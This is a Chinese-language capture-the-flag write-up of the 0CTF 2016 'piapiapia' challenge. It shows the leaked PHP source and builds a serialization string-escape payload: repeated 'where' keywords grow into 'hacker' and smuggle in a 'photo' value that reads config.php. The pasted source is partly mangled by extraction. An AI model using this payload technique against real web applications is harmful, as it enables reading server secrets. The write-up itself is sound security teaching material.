[0CTF 2016]piapiapia

2021-03-06 22:30

阅读:507

YPE html>

标签:session   长度   div   star   漏洞   简单   计算   first   Enctype   

[0CTF 2016]piapiapia

1.审题

进入登录页面,简单的sql注入无效,可能是过滤了大部分的注入字符

dirsearch扫描一下,发现源码泄漏,www.zip

下载,源码审计

2.源码审计

config.php

猜测flag在这个文件中,我们要有一个意识:这是我们下载下来的源码,并非真正的服务端运行的源码,本地搭建做题环境时要改成自己的用户名、密码之类,在服务端docker的主机里,$flag变量应该存的就是我们要的flag。

register.php

 16) 
			die(‘Invalid user name‘);

		if(strlen($password)  16) 
			die(‘Invalid password‘);
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo ‘Register OK!Please Login‘;		
		}
		else {
			die(‘User name Already Exists‘);
		}
	}
	else {
?>
Login

Register

update.php

 10)
			die(‘Invalid nickname‘);

		$file = $_FILES[‘photo‘];
		if($file[‘size‘]  1000000)
			die(‘Photo size error‘);

		move_uploaded_file($file[‘tmp_name‘], ‘upload/‘ . md5($file[‘name‘]));
		$profile[‘phone‘] = $_POST[‘phone‘];
		$profile[‘email‘] = $_POST[‘email‘];
		$profile[‘nickname‘] = $_POST[‘nickname‘];
		$profile[‘photo‘] = ‘upload/‘ . md5($file[‘name‘]);

		$user->update_profile($username, serialize($profile));
		echo ‘Update Profile Success!Your Profile‘;
	}
	else {
?>



UPDATE

Please Update Your Profile

profile.php

show_profile($username);
	if($profile  == null) {
		header(‘Location: update.php‘);
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile[‘phone‘];
		$email = $profile[‘email‘];
		$nickname = $profile[‘nickname‘];
		$photo = base64_encode(file_get_contents($profile[‘photo‘]));
?>



Profile

Hi

index.php

 16) 
			die(‘Invalid user name‘);

		if(strlen($password)  16) 
			die(‘Invalid password‘);

		if($user->login($username, $password)) {
			$_SESSION[‘username‘] = $username;
			header(‘Location: profile.php‘);
			exit;	
		}
		else {
			die(‘Invalid user name or password‘);
		}
	}
	else {
?>



Login

Login

class.php

table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array(‘username‘, ‘password‘);
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = ‘$username‘";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = ‘$username‘";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = ‘$username‘";
		return parent::update($this->table, ‘profile‘, $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config[‘hostname‘],
			$config[‘username‘], 
			$config[‘password‘]
		);
		mysql_select_db($config[‘database‘]);
		mysql_query("SET sql_mode=‘strict_all_tables‘");

		return $this->link;
	}

	public function select($table, $where, $ret = ‘*‘) {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(‘,‘, $key_list);
		$value = ‘\‘‘ . implode(‘\‘,\‘‘, $value_list) . ‘\‘‘; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = ‘$value‘ WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {
		$escape = array(‘\‘‘, ‘\\\\‘);
		$escape = ‘/‘ . implode(‘|‘, $escape) . ‘/‘;
		$string = preg_replace($escape, ‘_‘, $string);

		$safe = array(‘select‘, ‘insert‘, ‘update‘, ‘delete‘, ‘where‘);
		$safe = ‘/‘ . implode(‘|‘, $safe) . ‘/i‘;
		return preg_replace($safe, ‘hacker‘, $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

我们的目的是读取config.php

观察有没有任意文件读取漏洞,发现在profile.php中有这样一段

show_profile($username);
	if($profile  == null) {
		header(‘Location: update.php‘);
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile[‘phone‘];
		$email = $profile[‘email‘];
		$nickname = $profile[‘nickname‘];
		$photo = base64_encode(file_get_contents($profile[‘photo‘]));
?>

观察profile的入口,在update里

move_uploaded_file($file[‘tmp_name‘], ‘upload/‘ . md5($file[‘name‘]));
		$profile[‘phone‘] = $_POST[‘phone‘];
		$profile[‘email‘] = $_POST[‘email‘];
		$profile[‘nickname‘] = $_POST[‘nickname‘];
		$profile[‘photo‘] = ‘upload/‘ . md5($file[‘name‘]);

		$user->update_profile($username, serialize($profile));
		echo ‘Update Profile Success!Your Profile‘;

这里肯定不能直接对photo进行修改,那就考虑nickname入口,先试着构造下

结果

string(187) "a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";s:33:"";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/21232f297a57a5a743894a0e4a801fc3";}"

但是问题是如何让后面的部分s:5:"photo";s:10:"config.php";逃逸

寻找过滤函数、

该题对nickname进行两次过滤

第一次是长度过滤,可以通过数组绕过,但不足以然我们的config.php逃逸

但是,问题在于,构造的nickname必须是数组形式

if(preg_match(‘/[^a-zA-Z0-9_]/‘, $_POST[‘nickname‘]) || strlen($_POST[‘nickname‘]) > 10)
			die(‘Invalid nickname‘);

第二次是关键字过滤,看如何利用

public function filter($string) {
		$escape = array(‘\‘‘, ‘\\\\‘);
		$escape = ‘/‘ . implode(‘|‘, $escape) . ‘/‘;
		$string = preg_replace($escape, ‘_‘, $string);

		$safe = array(‘select‘, ‘insert‘, ‘update‘, ‘delete‘, ‘where‘);
		$safe = ‘/‘ . implode(‘|‘, $safe) . ‘/i‘;
		return preg_replace($safe, ‘hacker‘, $string);
	}

这里只有where是五个字符,其余均为6字符,替换为hacker六字符,考虑可否通过此处吞掉多余的字符,关于吞字符,可以在我的另一篇博客easy_serialize_php中了解详情

开始实验,先大致算一下,然后慢慢加减

错误示例

写入33个where,结果

string(392) "a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/21232f297a57a5a743894a0e4a801fc3";}"

计算198=33*6构造成功,但是实际没成功,因为nickname没写成数组形式

正确示范(因为nickname是数组,需要重新构造并且用}闭合,此时为204位,即34个where)

注意 数组构造后下一个元素前不需要封号where";}s:5:"photo";,非数组则有where";s:5:"photo";

‘wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}‘);
$profile[‘phone‘]=‘12345678901‘;
$profile[‘email‘]=‘for@example.com‘;
$profile[‘nickname‘]=$a;
$profile[‘photo‘]=‘upload/21232f297a57a5a743894a0e4a801fc3‘;

var_dump(filter(serialize($profile)));

结果

string(403) "a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/21232f297a57a5a743894a0e4a801fc3";}"

3.解题

先注册一个账号,登录

上传随意一张图

抓包后修改内容
技术图片
技术图片
技术图片

解码即可

参考博客

http://yqxiaojunjie.com/index.php/archives/171/

https://blog.csdn.net/crisprx/article/details/104705018/

https://www.jianshu.com/p/3b44e72444c1

http://www.soscw.com/info-detail-2903729.html

https://blog.csdn.net/zz_Caleb/article/details/96777110

[0CTF 2016]piapiapia

标签:session   长度   div   star   漏洞   简单   计算   first   Enctype   

原文地址:https://www.cnblogs.com/LLeaves/p/12841337.html


评论


亲,登录后才可以留言!